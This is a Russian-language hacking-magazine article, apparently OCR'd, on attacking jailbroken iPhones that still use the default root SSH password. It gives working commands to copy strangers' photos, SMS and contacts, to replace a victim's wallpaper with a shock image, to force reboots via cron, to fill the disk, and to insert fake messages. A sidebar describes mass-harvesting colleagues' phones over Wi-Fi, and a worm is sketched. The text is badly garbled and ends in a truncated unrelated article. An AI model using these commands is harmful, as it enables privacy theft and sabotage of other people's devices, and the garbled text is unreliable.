В мобильной OS X два пользователя (не считая nobody и unknown): root(это ты) и mobile(это владелец телефона). Файловая система телефона разделена на две части. Папка /var/mobile, содержащая данные пользователя, отделена от остальной системы (сделано для того, чтобы после обновления прошивки не нужно было заново заливать на iPhone адресную книгу, музыку и так далее).

КаквлюбойприличнойUNIXОС,вOSXвсе—либофайл,либо папка.Самыеважныедлятебяпапки—Library(вниххранятся персональныеданныеинастройки)иMedia(вниххранятся картинки,музыкаивидео).Вкорнефайловойсистемы(помимо стандартныхetc,usr,devит.д)тынайдешьпапки System,

Library и Applications.Внутрипапки System находится ещеоднапапка Library.Другаяпапка Library прина-

длежитпользователю mobile(/var/mobile/Library).В

настольнойMacOSXположениепапкиLibraryопределяет ее значимость—в /System/Library своиданныехранятсистемныеприложения,в /Library хранятсяданныепользовательскихприложений,общиедлявсейсистемы,ав~/Library

—личныеданныепользователя.Тожеотноситсяикмобильной OSX.Поэтомубольшинствоинтересныхвещей(настройки, базыsmsипочтовыебазы)тынайдешьвпапке/var/mobile/ Library/,аключидоверенныхWiFi-сетей—в /Library. Итак, теперь ты знаешь, где искать полезные данные, но как они выглядят? Данные в мобильной OS X могут лежать внавалку, храниться в файлах .plist или базах SQLite.

Внавалку

Хотя параноики из Apple предпочитают записывать все в отдельные базы данных, кое-что валяется на диске iPhone

Новая настройка сразу в силе. Правда, рингтона с таким названием не существует

просто так. Например, сделанные встроенной камерой снимки лежат в /var/mobile/Media/DCIM. Если хочешь их быстро украсть (надежда на домашнее порно жива и будет жить всегда) — воспользуйся утилитой scp:

scp -r root@iPhone.local.:/var/mobile/Media/ DCIM

Человек подарил тебе надежду на домашнее порно — подари ему что-нибудь взамен, сделай его жизнь немножечко лучше. Картинка, которую он использует в качестве фона, хранится в файле /var/mobile/Library/LockBackground. jpg. Неважно, выбрана ли она системных картинок, залита с компьютера или снята встроенной камерой — она будет скопирована в это место и уменьшена до 320х480 пикселей.

Размер важен — если картинка будет больше или меньше, она не будет масштабироваться.

В жизни каждого должна быть минутка для goatse. Скопируй заранее подготовленную картину на место указанной (например, curl http://goatse.cx/hello. jpg -o /var/mobile/Library/LockBackground.jpg),

закрепи (чтобы растянуть удовольствие): chmod -w /var/ mobile/Library/LockBackground.jpg и перезапусти SpringBoard (killall SpringBoard). Теперь владелец iPhone будет постоянно видеть (без вариантов!) одну из старейших реликвий интернета.

Настройки мобильной OS X — яркость, мелодия звонка, время срабатывания будильников и прочее — хранятся, как и в настольной Mac OS X, в файлах plist. Файлы plist бывают двух видов — текстовые и бинарные. Текстовые, разумеется, можно править любым текстовым редактором (это простой, легко читаемый XML); бинарные надо конвертировать в текстовые, а потом обратно. В мобильной OS X используются оба типа

Картинка из шапки xakep.ru — достойное украшение любого стола

Сообщение о переполнении дискового пространства, которое будет донимать хозяина атакованного айфона

warning

Одинаковый пароль по умолчанию — не дыра в безопасности мобильной

OS X, а небрежность пользователя, которому полагается знать, что он делает. Но это не значит, что OS X неуязвима. Уязвимость в браузере iPhone уже использовали для разлочки.

Если хочешь поставить дело на поток, обрати внимание на одну из функций

PwnageTool, прило-

жения для взлома и разлочки iPhone (iphwn.org) — муль-

тибут. Ты сможешь поставить прошивки версий 1.1.2, 1.1.4

и 2.0 бок о бок и перезагружаться из одной в другую.

xàêåð 08 /116/ 08

055

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

E

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

w Click

to BUY

 

>> взлом

 

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Команда mDNS обнаруживает в сети хосты, рекламирующие указанные сервисы по Bonjour. Хост с именем Wong — это iPhone с работающим

OpenSSH

Nmap беспощадно точен

OS X считывает все изменения настроек автоматически, достаточно заменить plist-файл

— системные настройки хранятся в текстовом виде, пользовательские — в бинарном.

Конвертируются плисты с помощью утилиты plutil.

Простоезападло

Назакуску—двапростыхреöепта.

1.Еслихочешь,чтобывражескийайфонперезагружалсяразвпятьминут—просто набериcrontab-eидобавьвcronоднустроку: */5***reboot.

2.Неплохаяидея—занятьвсесвободныенаайфонегигабайты.Сделатьэтолегко:

cat /dev/random > hahagotcha.txt

Бешеныегигабайтыбыстрокончатся,иiPhoneбудетнастойчивопредлагать своемувладельцуудалитьпаруфотографийинемногомузыки,чтобырасчистить место.

info

SpringBoard — до-

машний экран iPhone, приложение, которое показывает иконки других приложений. Оно исполняет те же функции, что и Dock в настольной Mac

OS X. Все запущенные пользователем приложения

— дочерние процессы

SpringBoard.

Чембольшетынайдешьуязвимостей,тем большеутебяшансов получитьработу

вApple:прямосейчас наapple.com/jobsвисит вакансияэкспертапо безопасностиiPhone.

Если ты пользуешься Mac OS X, она у тебя уже есть, если нет — скачай. Существуют версии и для Linux, и для Windows. Команда plutil -convert преобразует файл из бинарного в текстовый и обратно; после plutil - convert xml1 ты сможешь править файл, после plutil -convert binary1 — скопировать его обратно. Еще лучше пропихнуть на iPhone собранную Эрикой Садун версию plutil для мобильной OS X — она может исправлять различные параметры прямо из командной строки, без конвертации.

Например, в файле /var/mobile/Library/Prefences/ com.apple.springboard.plist(после конвертации в

XML) содержится подобный ключ:

<key>ringtone</key>

<string>system:Motorcycle</string>

Эта настройка определяет общую мелодию звонка. Значение в <string></string> может быть одним из следующих:

1)<default>(рингтон по умолчанию, называется

Marimba);

2)system:названиерингтона(рингтонизпоставляемыхссис-

темой,онисодержатсявпапке /Library/Ringtones;при- веденныйвышерингтон—этофайл /Library/Ringtones/ Motorcycle.m4a);

3) itunes:цифро-буквенный код (залитый пользователем рингтон, содержащийся в /var/mobile/ Media/iTunes_Control/Ringtones; код здесь не имя файла, а идентификатор из какой-то базы данных). Изменив этот ключ, ты сможешь изменить используемый

рингтон. Самый надежный способ — заменить все системные рингтоны своим (контейнер — MPEG-4, кодек — ААС, длительность — не больше 40 секунд, расширение — .m4r).

Чтобы изменить значение ключа ringtone, либо сконвертируй com.apple.springboard.plist в текст, измени его вруч-

ную и сохрани, либо, используя утилиту Эрики, отдай команду:

plutil -s ringtone -v "system:Sonar" /var/ mobile/Library/Preferences/com.apple. springboard.plist

Потомужепринципуможноизменитьлюбыенастройкимобильной OSX.ЗагодсуществованияiPhoneонибылипрекраснодокументированы,ато,чтотыненайдешьвGoogle,затебянайдетgrep.

sqlite

Наконец, в маленьких уютненьких базочках SQLite хранятся замечательные вещи — база SMS, адресная книжка и многое другое. База SMS лежит тут — /var/mobile/Library/ SMS/sms.db, адресная книга тут — /var/mobile/ Library/AddressBook.sqlitedb. Скопировав их на свою машину, ты сможешь разобраться в структуре и содержимом с помощью утилиты sqlite3 (у пользователей Mac OS X она есть сразу, у пользователей Linux и Windows тоже не будет особых проблем).

Утилита может выполнять твои желания интерактивно или прямо из командной строки. Если ты вызовешь ее с SQL-за- просом, она исполнит его и выйдет. Если без — она вернет тебе приглашение и будет ждать других запросов и команд. Самые интересные таблицы — таблица messagesв sms.dbи табли-

Меняемпароль наiPhone

ЕслиподопытныйiPhoneпринадлежиттебе,защитить егооченьпросто—простопоменяйпарольroot.Ноесли тыещенеобновилсядовторойверсиипрошивки—не стоитприэтомиспользоватьpasswd.Этимтыиспортишь

/etc/master.passwd.ХотьOSXинетребуетсяпарольroot,

ейнужнопрочитатьпристартесписокпользователей. Телефоннесможетзагрузитьсяитебепридетсявосстанавливатьегопрошивку.Поменяйпарольвручную.Для этогонужнопосчитатьхешновогопаролякомандой opensslpasswd-crypt-salt/sтвой_новый_парольизаме-

нитьхэшпароляпользователяrootв/etc/master.passwd. Еслиты—конченыйпараноик,поставьзаодноBossPrefs иотключайsshd,когдаонтебененужен.

056

xàêåð 08 /116/ 08

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

E

 

 

 

 

X

 

 

 

 

 

-

 

 

 

 

d

 

 

F

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

o

>> взломto BUY

 

 

 

 

 

 

 

w Click

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

o

 

 

.

 

 

 

 

.c

 

 

 

p

 

 

 

g

 

 

 

 

 

df

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

ца ABPerson в AddressBook.sqlitedb. Ты можешь читать, парсить и изменять эти базы, более того — Эрика и ее портировала на iPhone (к вопросу о силе open source). Не забудь сделать резервную копию для себя

— мало ли для чего может пригодиться база чужих SMS и адресная книга с работающими телефонами и электронными адресами.

И, конечно, используй sqlite3 в целях мира во всем мире:

sqlite3 sms.db "INSERT INTO messages VALUES(0, '+0000000', 1354321900, ' МЫ ЛЮДИ БУДУЩЕГО НЕ ЗАПУСКАЙТЕ КОЛЛАЙДЕР НЕ ЗАПУСКАЙТЕ КОЛЛАЙДЕР',1,0,NULL,0,0,0,0,0) ;"

Пускай человек внезапно обнаружит в своей базе послание из будущего (1 декабря 2012 года в 00:31:40 по Гринвичу — третье поле в таблице содержит дату в эпохе).

AT+OMFG!

Это же телефон, черт возьми! Музыка музыкой, картинки картинками, но главная задача сотового телефона — сотовая связь. Вообще, модем в сотовом телефоне (в iPhone это /dev/tty.baseband) обычно недоступен

— на нем висит коммуникационный процесс, ожидающий поступления звонков и сообщений. Но у нас есть лазейка — /dev/tty.debug.

Чтобы поговорить с модемом, можно использовать mincom(он часть пакета с BSD-окружением). Его потребуется настроить (minicom -s), так как по умолчанию он пытаетсясоединитьсяс /dev/modem.Ноеслитыторопишь-

ся,создайсимлинк—ln /dev/tty.baseband /dev/modem(симлинки нателефоне—этооченькруто).

Теперьзапусти minicom иначинайотдаватьAT-команды.Кпримеру, командаAT+CBC,сообщиттебеобуровнезарядабатарейки:

AT+CBC +CBC: 0,65 OK

Батарейказаряженана65%,иещенакакое-товремяеехватит.Теперьмож- нопозвонить,отправитьsmsилиподключитькакую-нибудьхорошуюуслугу. Давайотправимsms—этоменьшее,чтомыможемсделатьпослетого,как прочиталивсеимеющиеся.

AT+CMGF=1//Модемпереключаетсявтекстовыйрежим(0—голос,1

—текст)ивозвращаетOK.

“AT+CMGW=“+712345678“//Здесьначинается,собственно,сообщение. Номерабонента—частькоманды.Модемвернетприглашениеввеститекст сообщения.

>Welcome...totheworldoftomorrow!//Сообщениекончится,когдамодем получитEOF—теперьонобудетзаписановпамять.МодемвернетOKи +CMGW:N,гдеN—индекссообщениявпамятимодема.

AT+CMSS=N//Отправкасообщения,индекскоторого—N,вернетOK,если сообщениеуспешноотправлено.

СписокAT-команднеменялсяужемноголет.Используяих,тысможешьот- правлятьSMS,набиратьтелефонныеномераиизучатьсвойствааппаратной частиiPhone.

ДлятогочтобыотдаватьAT-командыпрямоизкоманднойстроки,былона- писанонесколькоутилит.Например,командаiPhoneEliteвыпустилаутилиту sendmodem.ПротолкнувsendmodemнаiPhone,тысможешьиспользовать еесамупосебеиливскриптах.Исходныйкодутилиты—прекрасныйпри- мертого,какотдаватьAT-командыпрограммно.

Перспективы

Каквидишь,дажебезособойподготовкиможнонайтиипоюзатьiPhone, получивприэтомогромноеудовольствие.Аеслитыподготовишься,то сможешьсделатькудабольше.

Писать для iPhone не сложнее, чем для любой другой UNIX OS и значительно проще, чем для любого другого сотового телефона. Бесполезно помещать на iPhone Java-утилитки — ему требуется суровый мужской С.

Несмотря на возражения Apple, за год вокруг iPhone сложилось огромное

xàêåð 08 /116/ 08

gorlхулиганит

Такужвышло,чтовофисенашейредакцииоченьмногоайфонов.И еслитывдругпоявишьсясNokia(аябольшойпоклонникN95,хотьи переквалифицировалсянаApple),тонатебябудуточеньсочувственноиактивносмотреть,мол,ничего,бонусполучишьитожеобайфонишься.

Движимыйблагороднымичувствами,ярешилполоматьвсеимею- щиесявобластидосягаемостинашейwifi-сетияблочныетелефоны, чтобыихвладельцынетаксильносмущалинормальныхлюдей.

Логика,конечно,слабенькая,нодопустимая.Хотьмакауменяпод рукамиинебыло,большихсложностейпослепрочтениястатьиуменя невозникло.

Скачалдлясвоегодомашнегопитонамодульpybonjour(http://o2s. csail.mit.edu/o2s-wiki/pybonjour),которыйпозволяетвреальном времениследитьзаzeroconf-совместимымисервисами. Подредактировалскриптbrowse_and_resolve.pyизкомплектамодуля так,чтобыонобнаруживалтолькоssh-сервисы:sys.argv[1]заме- нилна'_ssh._tcp' —иникакихтебеаргументовзапуска.

Потомвcallback-функциидобавил,чтобыдлякаждогоhostnameзапус- калсятредсpscp.exe(изкомплектаPutty)искачивалсписокконтак- тов,смсивсефотографии(%s—этохостайфона).

Параметрызапускадляконтактов:

pscp.exe -r -pw alpine root@%s:/var/mobile/Library/ AddressBook/AddressBook.sqlitedb X:\iphones.db\%s\

Дляфоткок:

pscp.exe -r -pw alpine root@%s:/var/mobile/media/ DCIM X:\iphones.db\%s\

ДлябазыSMS:

pscp.exe -r -pw alpine root@%s:/var/mobile/Library/ SMS/sms.db X:\iphones.db\%s\

Такжепотребоваласькопияэтихкоманддлястарыхпрошивок:всето жесамое,только'root'вместо'mobile'.

Послезапускаскриптачужаяприватнаяинфанезаставиласебяждать. Однакоеслиспросмотромфотоквсепонятно(jpeg—онинаайфоне jpeg),то,чтобыпрочестьсмсиадреснуюкнигу,пришлосьскачатьспециальнуюутилиткудляработысбазамиsqlite(http://sqlitebrowser. sourceforge.net).

ВывестисеепомощьювсеконтактыизфайлаAddressBook.sqlitedb помогпростенькийзапроc:

SELECT ABPerson.Last, ABPerson.First, ABMultiValue. value FROM ABPerson, ABMultiValue

WHERE ABPerson.ROWID = ABMultiValue.record_id ORDER BY ABPerson.Last

Чтобынепобили,хожутеперьпоофисуиделаювсемpasswd.

девелоперское сообщество, и ты легко найдешь подробные инструкции по кросс-компиляции, мануалы и описания библиотек, узнаешь — как бороться с standby mode, перехватывать управление модемом и так далее.

Представь себе маленькую утилитку, обнаруживающую другие телефоны по Bonjour, логиняющуюся по ssh с паролем alpine и оставляющую на них свою копию. Или утилитку, отправляющую sms (с вежливым приветствием всем людям в адресной книге — можно было бы обойтись 10-15 строчками кода). В общем, iPhone — действительно революционное устройство. z

057

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

E

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

w Click

to BUY

 

>> взлом

 

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

Крис Касперски

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Серыекардиналы магистральных каналов

Преодолеваем аппаратные антивирусы

Примем как факт: ни домашние, ни корпоративные пользователи не обновляются и обновляться не будут. Никто не хочет вкладывать деньги в системы защиты и держать целый штат специалистов по безопасности. Почему же тогда глобальные эпидемии больше не возникают? Что мешает червям свободно распространяться от машины к машине?

 

 

Мрак секретности

ную активность, фиксируют хакерские атаки, эксплуатирующие еще не

 

 

 

 

Оказывается,помимоKAV’а,DrWeb’а,NOD’а(техникаобходакоторыхпос-

известные дыры, которые тут же описываются разработчиками антивируса

тояннообсуждаетсянахакерскихфорумах)существуютещеиаппаратные

на языке регулярных выражений и отправляются в базу. Разумеется, на это

антивирусы,встроенныевжелезкиотCISCO,DLINK’аипрочихпроизводи-

требуется время. И довольно значительное, поскольку дизассемблирова-

телей.Особенностиреализациисамипосебенеделаютаппаратныйанти-

ние малвари/шеллкода приходится выполнять вручную, а специалистов по

вирускрутымимогущественным.Внихнетничегозагадочного,таинствен-

реверсингу не хватает.

ногоилисверхъестественного—эвристика,сигнатурныйпоискипрочие

Почему же тогда при всех своих недостатках аппаратные антивирусы

классическиетехникикаменноговека.Почемужетогдааппаратныеанти-

оказались настолько эффективны, что прищемили всех червей, хакеров

вирусыработают,апрограммныетормозятсострашнойсилой(попробовали

и установили в Сети круглосуточный комендантский час? Причина в том,

быонитактормозитьнамагистральныхканалах!),ноничегонеловят?

что большинствоатакующихдаженеподозреваютосуществовании

А все потому, что сигнатуры аппаратных антивирусов описывают не

«серыхкардиналов»и потому никак от них не защищаются. Да и как

конкретный экземпляр малвари, а сценарий атаки, эксплуатирующей ту

защищаться, если принципы работы аппаратных антивирусов неизвестны,

или иную уязвимость. Сигнатуры берутся у независимых поставщиков

а сам антивирус доступен лишь сотрудникам крупных IT-компаний, среди

(крупнейшим из которых является Endeavor Security Inc), а не собираются

которых хакеры встречаются намного реже, чем крокодилы в Сахаре. А тем,

каждым производителем индивидуально. Распределенные сенсорные сети

что встречаются, никто не позволит вскрывать коробку ценой в несколько

(они же «гриды», от английского «sensor grid») детектят всякую аномаль-

тысяч долларов!

058

xàêåð 08 /116/ 08

Соседние файлы в папке журнал хакер